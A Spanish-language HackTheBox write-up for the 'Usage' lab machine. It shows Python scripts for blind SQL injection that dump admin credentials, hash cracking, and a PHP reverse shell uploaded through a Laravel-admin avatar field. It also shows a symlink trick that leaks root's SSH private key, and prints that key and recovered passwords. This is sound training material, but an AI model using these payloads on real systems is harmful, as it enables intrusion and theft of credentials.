> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/usage-hackthebox-writeup.md).

# Resolución de HackTheBox Usage

{% embed url="<https://app.hackthebox.com/machines/597>" %}

{% hint style="warning" %}
Habilidades:

* Enumeración de subdominios
* SQLI - Inyección ciega basada en booleanos (MANUAL) + Consejos de Burp Suite
* Scripting en Python para explotar SQLI
* Cracking de hashes
* Explotación de Laravel-admin (RCE abusando de la subida de archivos)
* Análisis binario (GHIDRA)
* Abuso de privilegios de sudoers + binario personalizado para obtener la clave privada SSH de root (escalada de privilegios)
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/b92be6c6835ad8731201f3b353defdc9b880e6f0" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/91f00bd914a7f36b80e4a55117cd1674bfc48569" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS -n -vvv -Pn --min-rate 5000 10.10.11.18 -oG allPorts
```

<figure><img src="/files/d5a9cf81891049dd98c95a778e2f74a56dad7b8a" alt=""><figcaption></figcaption></figure>

**Análisis de puertos abiertos con extractPorts:**

Usa la función extractPorts para mostrar los puertos abiertos en un formato conciso y cópialos al portapapeles (21,22,80)

<figure><img src="/files/6a822480aadbd91d1a12d46637d96d21e80ae63c" alt="" width="563"><figcaption></figcaption></figure>

Escaneo de versiones de puertos con Nmap:

Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":

```bash
nmap -sCV -p22,80 10.10.11.18 -oN targeted
```

<figure><img src="/files/3b2cf0774a32b32fbf8f0401c8e4922e9081db5c" alt=""><figcaption></figcaption></figure>

Para resolver nombres de dominio en direcciones IP mediante DNS, insertamos el nombre de dominio asociado con su dirección IP en el `/etc/hosts` archivo:

### Puerto 80:

En el puerto 80, crearemos una cuenta de usuario con un correo ficticio "`test@test.com`" en la sección de registro.

<figure><img src="/files/3b2e5e1976041609087a5f37cde882e5a6c19554" alt=""><figcaption></figcaption></figure>

## Vulnerabilidad [SQLI](/es/web/sql-injection.md):

Descubrimos un panel de restablecimiento de contraseña vulnerable a inyección SQL

<figure><img src="/files/382358a18e1a3f39dfa503d487ed46658f0e3c37" alt=""><figcaption></figcaption></figure>

. Al interceptar las solicitudes con Burp Suite, obtenemos el mensaje "*Hemos enviado tu contraseña por correo electrónico*".

<figure><img src="/files/1bd81dd75fe23b034716344c068fa910c0f29537" alt=""><figcaption></figcaption></figure>

Cuando intentamos una inyección SQL básica, tiene éxito y recibimos de nuevo el mismo mensaje de error, confirmando que la inyección está funcionando. La prueba de inyección básica es:

`iojfeifif' or 1=1-- -`

<figure><img src="/files/85fa2594dff9c186f66eea0134e3a4c5823d3472" alt="" width="563"><figcaption></figcaption></figure>

### Respuestas condicionales de Sqli:

> Aunque los resultados de la consulta SQL no se devuelven y no aparecen mensajes de error, la aplicación muestra el mensaje "Hemos enviado tu contraseña por correo electrónico" en la página si la consulta devuelve alguna fila.

Comprobamos esta suposición ejecutando una inyección condicional usando la `substring` función para extraer las primeras letras del nombre de la base de datos.

Ejemplos de inyección:

* Prueba la primera letra del nombre de la base de datos\:/ `dwwdw' or substring(database(),1,1)='u'-- -`
* Prueba la segunda letra del nombre de la base de datos\:/ `dwwdw' or substring(database(),2,1)='s'-- -`

<figure><img src="/files/6beef76c09eccb59fd5a20ae16a888fb5a9862c1" alt=""><figcaption></figcaption></figure>

### Enumeración del nombre de la base de datos:

Automatizamos el proceso de descubrimiento del nombre de la base de datos usando un script de Python que envía consultas con payloads específicos y recupera los resultados cuando el servidor muestra la respuesta "Hemos enviado tu contraseña por correo electrónico".

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# Manejar señales de salida
def def_handler(sig, frame):
    print("/n/n[!] Saliendo.../n")
    sys.exit(1)

# Ctrl + C para salir
signal.signal(signal.SIGINT, def_handler)

# Conjunto de caracteres ampliado (añade más caracteres especiales según sea necesario)
characters = string.ascii_letters + string.digits + "-/;.$_@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("Inyección SQL")
    p1.status("Iniciando la inyección SQL...")
    time.sleep(2)

    p2 = log.progress("Datos extraídos")

    for position in range(1, 20):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring(database(),{position},1)='{character}'-- -"
            }
            
            # Envía la solicitud POST con el payload
            r = requests.post(main_url, headers=headers, data=payload)

            # Mostrar en tiempo real el carácter que se está probando
            p1.status(f"Probando posición {position}: {character}")

            # Comprobar una respuesta específica del servidor para confirmar el carácter correcto
            if "We have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # Si se encontró un carácter para esta posición, pasar a la siguiente posición
        if found_character:
            p1.status(f"Posición {position} encontrada: {data[-1]}")
        else:
            p1.status(f"Posición {position}: carácter no encontrado")

    p1.success("Ataque de fuerza bruta de inyección SQL concluido")
    p2.success(f"Datos extraídos: {data}")

if __name__ == '__main__':
    sqli()
```

<figure><img src="/files/58b326051d0883449a04eb27f5acafaee1ffc870" alt="" width="440"><figcaption></figcaption></figure>

### Enumeración de la base de datos:

Modificamos el payload para listar todas las bases de datos presentes en el servidor. Usamos la `group_concat` función de la `information_schema.schemata` base de datos para recuperar todas las bases de datos disponibles. Este paso permite descubrir todas las bases de datos presentes.

{% code overflow="wrap" fullWidth="false" %}

```sql
' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s" % (position, character)
```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# Manejar señales de salida
def def_handler(sig, frame):
    print("/n/n[!] Saliendo.../n")
    sys.exit(1)

# Ctrl + C para salir
signal.signal(signal.SIGINT, def_handler)

# Conjunto de caracteres ampliado (añade más caracteres especiales según sea necesario)
characters = string.ascii_letters + string.digits + "-,/;.$_@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("Inyección SQL")
    p1.status("Iniciando la inyección SQL...")
    time.sleep(2)

    p2 = log.progress("Datos extraídos")

    for position in range(1, 100):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s" % (position, character)

            }
            
            # Envía la solicitud POST con el payload
            r = requests.post(main_url, headers=headers, data=payload)

            # Mostrar en tiempo real el carácter que se está probando
            p1.status(f"Probando posición {position}: {character}")

            # Comprobar una respuesta específica del servidor para confirmar el carácter correcto
            if "We have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # Si se encontró un carácter para esta posición, pasar a la siguiente posición
        if found_character:
            p1.status(f"Posición {position} encontrada: {data[-1]}")
        else:
            p1.status(f"Posición {position}: carácter no encontrado")

    p1.success("Ataque de fuerza bruta de inyección SQL concluido")
    p2.success(f"Datos extraídos: {data}")

if __name__ == '__main__':
    sqli()
```

<figure><img src="/files/2ed3e317391ac56099701aeb79cb0ac5902f03ad" alt="" width="563"><figcaption></figcaption></figure>

### Lista de tablas en la `usage_blog` base de datos:

Después de encontrar la `usage_blog` base de datos, modificamos de nuevo el payload para enumerar las tablas de esa base de datos. Usamos la `group_concat` función para recuperar los nombres de todas las tablas en la `usage_blog` base de datos.

{% code overflow="wrap" %}

```sql
' or substring((select group_concat(table_name) from information_schema.tables where table_schema='usage_blog'),%d,1)='%s" % (position, character)
```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# Manejar señales de salida
def def_handler(sig, frame):
    print("/n/n[!] Saliendo.../n")
    sys.exit(1)

# Ctrl + C para salir
signal.signal(signal.SIGINT, def_handler)

# Conjunto de caracteres ampliado (añade más caracteres especiales según sea necesario)
characters = string.ascii_letters + string.digits + "-,/.;$_@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("Inyección SQL")
    p1.status("Iniciando la inyección SQL...")
    time.sleep(2)

    p2 = log.progress("Datos extraídos")

    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(table_name) from information_schema.tables where table_schema='usage_blog'),%d,1)='%s" % (position, character) 

            }
            
            # Envía la solicitud POST con el payload
            r = requests.post(main_url, headers=headers, data=payload)

            # Mostrar en tiempo real el carácter que se está probando
            p1.status(f"Probando posición {position}: {character}")

            # Comprobar una respuesta específica del servidor para confirmar el carácter correcto
            if "We have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # Si se encontró un carácter para esta posición, pasar a la siguiente posición
        if found_character:
            p1.status(f"Posición {position} encontrada: {data[-1]}")
        else:
            p1.status(f"Posición {position}: carácter no encontrado")

    p1.success("Ataque de fuerza bruta de inyección SQL concluido")
    p2.success(f"Datos extraídos: {data}")

if __name__ == '__main__':
    sqli()
```

<div data-full-width="true"><figure><img src="/files/45111d2c39a710be4179e9a587882cf61303dabb" alt=""><figcaption></figcaption></figure></div>

### Enumeración de las columnas de la `admin_users` tabla:

Una vez identificadas las tablas, nos centramos en la `admin_users` tabla para enumerar sus columnas. Usamos la `group_concat` función de nuevo para recuperar los nombres de las columnas de esta tabla específica.

{% code overflow="wrap" %}

```sql
' or substring((select group_concat(column_name) from information_schema.columns where table_schema='usage_blog' and table_name='admin_users'),%d,1
)='%s" % (position, character)
```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# Manejar señales de salida
def def_handler(sig, frame):
    print("/n/n[!] Saliendo.../n")
    sys.exit(1)

# Ctrl + C para salir
signal.signal(signal.SIGINT, def_handler)

# Conjunto de caracteres ampliado (añade más caracteres especiales según sea necesario)
characters = string.ascii_letters + string.digits + "-,/;$._@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("Inyección SQL")
    p1.status("Iniciando la inyección SQL...")
    time.sleep(2)

    p2 = log.progress("Datos extraídos")

    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(column_name) from information_schema.columns where table_schema='usage_blog' and table_name='admin_users'),%d,1)='%s" % (position, character) 

            }
            
            # Envía la solicitud POST con el payload
            r = requests.post(main_url, headers=headers, data=payload)

            # Mostrar en tiempo real el carácter que se está probando
            p1.status(f"Probando posición {position}: {character}")

            # Comprobar una respuesta específica del servidor para confirmar el carácter correcto
            if "We have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # Si se encontró un carácter para esta posición, pasar a la siguiente posición
        if found_character:
            p1.status(f"Posición {position} encontrada: {data[-1]}")
        else:
            p1.status(f"Posición {position}: carácter no encontrado")

    p1.success("Ataque de fuerza bruta de inyección SQL concluido")
    p2.success(f"Datos extraídos: {data}")

if __name__ == '__main__':
    sqli()
```

<figure><img src="/files/ae335ebbe0f49be2e8459ad9d29e563b3ffae8c6" alt=""><figcaption></figcaption></figure>

### Mostrando `username` y `contraseña`:

Para mostrar los IDs de usuario y las contraseñas en la `admin_users` tabla, la consulta SQL se modificará para concatenar los `username` y `contraseña` campos

{% code overflow="wrap" %}

```sql
' or substring((select group_concat((BINARY username), ':', (BINARY password)) from admin_users),%d,1)='%s" % (position, character)
```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# Manejar señales de salida
def def_handler(sig, frame):
    print("/n/n[!] Saliendo.../n")
    sys.exit(1)

# Ctrl + C para salir
signal.signal(signal.SIGINT, def_handler)

# Conjunto de caracteres ampliado (añade más caracteres especiales según sea necesario)
characters = string.ascii_letters + string.digits + "-:.,/;$_@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("Inyección SQL")
    p1.status("Iniciando la inyección SQL...")
    time.sleep(2)

    p2 = log.progress("Datos extraídos")

    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat((BINARY username), ':', (BINARY password)) from admin_users),%d,1)='%s" % (position, character)

            }
            
            # Envía la solicitud POST con el payload
            r = requests.post(main_url, headers=headers, data=payload)

            # Mostrar en tiempo real el carácter que se está probando
            p1.status(f"Probando posición {position}: {character}")

            # Comprobar una respuesta específica del servidor para confirmar el carácter correcto
            if "We have e-mailed your password" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # Si se encontró un carácter para esta posición, pasar a la siguiente posición
        if found_character:
            p1.status(f"Posición {position} encontrada: {data[-1]}")
        else:
            p1.status(f"Posición {position}: carácter no encontrado")

    p1.success("Ataque de fuerza bruta de inyección SQL concluido")
    p2.success(f"Datos extraídos: {data}")

if __name__ == '__main__':
    sqli()
```

`admin:$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2`

<figure><img src="/files/8409556ecf9662578dd03946141e07c183c428fa" alt=""><figcaption></figcaption></figure>

### Cracking de contraseñas con John:

Una vez recuperado el hash de la contraseña, puedes usar **John** para descifrarlo con un diccionario como **rockyou.txt**:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`admin:whatever1`

<figure><img src="/files/b276c3b37fac3c933a2d9723affd101ed15859bd" alt=""><figcaption></figcaption></figure>

#### Panel de administrador:

<figure><img src="/files/a4df01ee47ec86db86a3f32afd149d821b7d891a" alt=""><figcaption></figcaption></figure>

Una vez encontradas las credenciales, es posible conectarse al panel de administración modificando el `/etc/hosts` archivo para añadir la `admin.usage.htb` entrada.

<figure><img src="/files/2a63a91de14df0d1c265def1ffe84cce23e8e03d" alt=""><figcaption></figcaption></figure>

## Vulnerabilidad de subida de archivos (Laravel-admin)

En la aplicación Laravel-admin, hay una sección que permite subir un avatar. Explotando esta función, podemos enviar un archivo malicioso para obtener acceso no autorizado al servidor.

{% embed url="<https://flyd.uk/post/cve-2023-24249/>" %}

<figure><img src="/files/0d2f54cb46fe18c593b05ac96f412fa65d00d36c" alt=""><figcaption></figcaption></figure>

### **Pasos de la operación:**

1. **Intercepción y modificación del archivo del avatar**:
   * Intercepta la solicitud con Burp Suite.
   * Cambia el valor de la `filename` variable para añadir la extensión PHP después de un archivo de imagen falso, por ejemplo: `hack.jpg.php`.

<figure><img src="/files/a97206dacd20b1205db6a59da103518911022177" alt=""><figcaption></figcaption></figure>

* El contenido del archivo debe ser una reverse shell, como:

```php
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.9/443 0>&1'"); ?>
```

<figure><img src="/files/cb8f19d07a52e4b70957ba7589924cf46bd6d97d" alt=""><figcaption></figcaption></figure>

**Escucha con Netcat**:

* Inicia la escucha en el puerto 443 con Netcat:

```bash
nc -nlvp 443 
```

<figure><img src="/files/ac15f80f68b88a08a77e356734c7772e88e203e3" alt="" width="563"><figcaption></figcaption></figure>

Ejecuta los siguientes comandos para hacer la sesión de la shell más interactiva:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Bandera user.txt :)

<figure><img src="/files/406adecc227c0a398676941619be5896f5d3856a" alt="" width="563"><figcaption></figcaption></figure>

## Escalada de privilegios:

### Fuga de información

En el directorio del usuario `dash`, un archivo `.monitrc` es accesible y contiene información sensible

<figure><img src="/files/544805ab55cbc5813303d02d86d957cef0ab5c5c" alt="" width="563"><figcaption></figcaption></figure>

`admin:3nc0d3d_pa$$w0rd`

<figure><img src="/files/67415de64aec84f67b603927b8e9f66d16e5b3b8" alt="" width="563"><figcaption></figcaption></figure>

Esta contraseña corresponde al usuario `XANDER`.

<figure><img src="/files/9174a803540d6426afcd38cb7f1ab88edbbbd158" alt="" width="563"><figcaption></figcaption></figure>

### Abuso del binario en Sudoers:

Al ejecutar el `sudo -l` comando como usuario `xander`, descubrimos la posibilidad de ejecutar el `usage_management` binario con tres opciones:

1. *`Copia de seguridad del proyecto`*
2. *`Hacer copia de seguridad de datos MySQL`*
3. *`Restablecer la contraseña de administrador`*

<figure><img src="/files/e1362c86aa23fc88303d441a77ed50e44df95faa" alt=""><figcaption></figcaption></figure>

Al seleccionar la primera opción ("Copia de seguridad del proyecto"), el programa crea un archivo `.zip` con una copia de seguridad como usuario `root`.

<figure><img src="/files/3a410e325210d562210075d7008944090ecd7c9a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/37fcc54651452a533b84ab64fd2e5c36484e2800" alt=""><figcaption></figcaption></figure>

### Análisis binario (GHIDRA)

{% embed url="<https://github.com/NationalSecurityAgency/ghidra>" %}

Instala y ejecuta GHIDRA para analizar el binario:

```bash
cd /opt
mkdir ghydra
cd !$
mv /home/jordan/Desktop/htb/Usage/exploits/ghidra_11.2.1_PUBLIC_20241105.zip .
unzip ghidra_11.2.1_PUBLIC_20241105.zip
./ghidraRun &> /dev/null & disown
```

<figure><img src="/files/0932fc8353057c1517bcf84a34fef32c7c42370b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/f85a9fd79790916d3458692eb895a04841184e30" alt=""><figcaption></figcaption></figure>

* En el `Copia de seguridad del proyecto` función, observamos que esta funcionalidad comprime el contenido de `/var/www/html` en un `project.zip` archivo con permisos de root.

<figure><img src="/files/e5f5b027d6466f9075842deb8e147aaeb86ef921" alt=""><figcaption></figcaption></figure>

{% embed url="<https://book.hacktricks.xyz/linux-hardening/privilege-escalation/wildcards-spare-tricks?source=post_page-----16397895490f-------------------------------->" %}

**Creación de un enlace simbólico para acceder a la clave SSH de root**: Para explotar esta funcionalidad, crea un enlace simbólico a la clave SSH de root en el `html` directorio

```bash
cd /var/www/html
touch @id_rsa
ln -s /root/.ssh/id_rsa id_rsa
```

<figure><img src="/files/5519ae81d76ae56541f97dd72a5ce4a2a3f94f88" alt=""><figcaption></figcaption></figure>

**Ejecutando el script como root**:

* Ejecuta el `usage_management` script:

<figure><img src="/files/3aeefd7412bd8ebda8192c6f2a5359becdac68cc" alt=""><figcaption></figcaption></figure>

* En el `project.zip` archivo, obtén la clave privada de root (`id_rsa`).

<figure><img src="/files/e5a1bd94427e4ebcc9fb4aaac26859d794930ae4" alt=""><figcaption></figcaption></figure>

```
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW 
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi 
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=
-----END OPENSSH PRIVATE KEY-----
```

**Conexión SSH con la clave de root**:

* Usa la clave para iniciar sesión como root:

```bash
ssh -i id_rsa root@10.10.11.18
```

<figure><img src="/files/3e06e8d344104afcdcbcbba42f2f13d6ce17e8f2" alt=""><figcaption></figcaption></figure>

### Flag de root :)

<figure><img src="/files/a222c8c2de581de2305842106b17d8a957170ef7" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/43a55303cafdb98c7abb31646d3073d36a71ad92" alt="" width="516"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/usage-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
